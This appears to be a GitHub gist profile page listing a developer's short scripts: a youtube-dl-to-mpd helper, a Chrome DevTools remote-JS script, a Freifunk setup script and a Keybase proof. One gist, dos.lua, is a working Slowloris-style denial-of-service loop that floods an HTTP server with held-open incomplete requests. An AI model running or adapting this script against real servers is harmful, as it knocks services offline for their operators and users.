Skip to content

Instantly share code, notes, and snippets.

View nonchip's full-sized avatar
‼️
this is mostly to read/fork/archive. same name on gitlab because fuck microsoft.

Kyra Zimmer nonchip

‼️
this is mostly to read/fork/archive. same name on gitlab because fuck microsoft.
View GitHub Profile

C-style commentblöcke zum an/austogglen:

Anfang:

  • An: //* <kommentar>
  • Aus: /* <kommentar>

Ende: /**/

Features:

<img src="https://github.global.ssl.fastly.net/images/modules/contact/goldstar.gif">
host="my_password@mpd_host"
page_url="$1"
echo "Page url: $page_url"
flv_format="$(youtube-dl -F "$page_url" | grep 'flv' | head -n 1 | cut -f 1)" || exit 1
echo "FLV format: $flv_format"
video_url="$(youtube-dl -g -f $flv_format "$page_url")" || exit 1
echo "Video url: $video_url"
mpc -h $host add "$video_url"
@nonchip
nonchip / dos.lua
Last active August 29, 2015 14:00
luasocket http dos using many open connections
local host, port = "127.0.0.1", 80
local socket = require("socket")
while true do
local tcp = assert(socket.tcp()) -- open a new tcp socket
assert(tcp:connect(host, port)) -- connect
tcp:send("GET / HTTP/1.0") -- start sending a request, but incomplete, so server waits for more
end
@nonchip
nonchip / chromeRemote.sh
Last active August 29, 2015 14:03
Chrome remote JS using DevTools-JSON-server
#!/bin/zsh
JSON_URL="http://127.0.0.1:9234/json"
FIND_URL="$1"
SOCK_URL="$(curl -s "$JSON_URL" | grep -A 1 '"url":.*'"$FIND_URL" | tail -n 1 | cut -d'"' -f 4)"
JS_COMMAND="$(cat)"
@nonchip
nonchip / YEng_liverun.lua
Last active August 29, 2015 14:05
YEng "live runner" (watching and reloading the script file as it's edited)
require 'YEng'
local loadfile=loadfile
local filepath=arg[1]
if filepath=="-m" then
loadfile=require "moonscript.base".loadfile
filepath=arg[2]
end
do

Keybase proof

I hereby claim:

  • I am nonchip on github.
  • I am nonchip (https://keybase.io/nonchip) on keybase.
  • I have a public key whose fingerprint is 6FEE DD32 7B8E 00FC 79BD 1BE8 4822 8034 30AB 8A5B

To claim this, I am signing this object:

<script src="https://cdn.webrtc-experiment.com/RTCMultiConnection-v2.2.4.js"></script>
<script type="text/javascript">
var con=new RTCMultiConnection("nonchip-rtcweb");
con.userType = 'guest';
con.session={
audio: false,
video: false,
oneway: true,
data: true,
broadcast: true,
@nonchip
nonchip / funKuchen.giessen.sh
Created July 23, 2015 16:53
giessen.freifunk.net on raspbian (can be easily ported to other OSes)
#!/bin/sh
IFACE=wlan0
SHELLUSER=pi
IP=87.239.143.000 # fill in
MASK=255.255.255.128
BC=87.239.143.127
SSID="giessen.freifunk.net"
@nonchip
nonchip / LiteralMarkdown_get_code.sh
Created September 9, 2015 14:35
LiteralMarkdown
sed -n '/^ / s/^ //p'